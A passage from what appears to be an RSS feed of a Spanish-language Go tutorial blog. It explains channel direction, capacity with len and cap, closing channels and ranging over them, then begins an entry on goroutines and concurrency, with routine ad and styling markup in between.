rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;canales-de-entrada-y-salida&#34;&gt;Canales de entrada y salida&lt;/h3&gt;&#xA;&lt;p&gt;Hay canales que reciben información y canales que sacan información, &lt;strong&gt;de manera predeterminada un canal es bidireccional, pero podemos declarar canales de entrada y de salida.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Para identificarlos, observa el flujo de la flecha alrededor de la palabra chan; una entra (o se dirige) a chan y la otra sale de chan.&lt;/p&gt;&#xA;&lt;p&gt;Este es un canal de entrada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras que este es un canal de salida.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es importante definir el tipo de canal pues, con los canales bidireccionales corremos el riesgo de ocasionar un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/&#34;&gt;bloqueo o deadlock en nuestro programa de go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;capacidad-de-un-canal&#34;&gt;Capacidad de un canal&lt;/h2&gt;&#xA;&lt;p&gt;¿Recuerdas que te dije que la función make podía establecer el número máximo de datos que puede trabajar un canal? Pues es posible recuperar esa información usando la función len&lt;/p&gt;&#xA;&lt;p&gt;La función len nos dice cuantos datos hay en un channel, mientras que cap nos devuelve la capacidad máxima, respectivamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(c), &lt;span style=&#34;color:#ff5c57&#34;&gt;cap&lt;/span&gt;(c))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo anterior, el canal tiene ocupados dos espacios, pero tiene una capacidad total de 3, incluso aunque no todos sus espacios estén ocupados.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;cerrar-un-canal-o-channel-en-go&#34;&gt;Cerrar un canal o channel en go&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos inhabilitar un canal, incluso aunque tenga capacidad disponible para almacenar más datos, la función close nos permite hacerlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato1&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato2&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;close&lt;/span&gt;(c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato3&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//panic: send on closed channel&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;iterar-sobre-un-canal&#34;&gt;Iterar sobre un canal&lt;/h2&gt;&#xA;&lt;p&gt;Range es ideal para iterar sobre los datos de los canales. Sin embargo, es importante resaltar que, &lt;strong&gt;no existe certeza sobre que dato recibiremos&lt;/strong&gt; puesto que el contenido del canal puede venir de múltiples goroutines.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dato2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;close&lt;/span&gt;(c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; c {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Con eso conoces la información básica de los canales y como puedes utilizarlos para comunicar gorutinas.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hasta ahora te he explicado como ejecutar una goroutine, ejecutar código de manera concurrente con las goroutines y a esperar a que terminen de ejecutarse pero nuestras goroutines no pueden hacer nada más, no pueden cooperar entre ellas para acelerar los procesos.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que tienes un web scrapper que obtiene datos de internet de manera concurrente; obtenemos los datos con goroutines y los procesamos con goroutines. ¿tenemos que esperar a que terminen todas las goroutines para usarlos? Lo ideal sería que las goroutines se comunicaran entre ellas los datos y continuaran con el proceso.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: introducción a las goroutines y concurrencia</title>
      <link>https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/</link>
      <pubDate>Wed, 19 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Como te mencioné en la introducción al lenguaje de programación go: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;go es un lenguaje especializado en la concurrencia&lt;/a&gt;&#xA;. Es un lenguaje que fue diseñado para manejar múltiples tareas de manera asíncrona. Esta entrada trata sobre los channels o canales de go.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;concurrencia-no-es-paralelismo&#34;&gt;Concurrencia no es paralelismo&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar, recuerda que paralelismo y concurrencia son diferentes.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    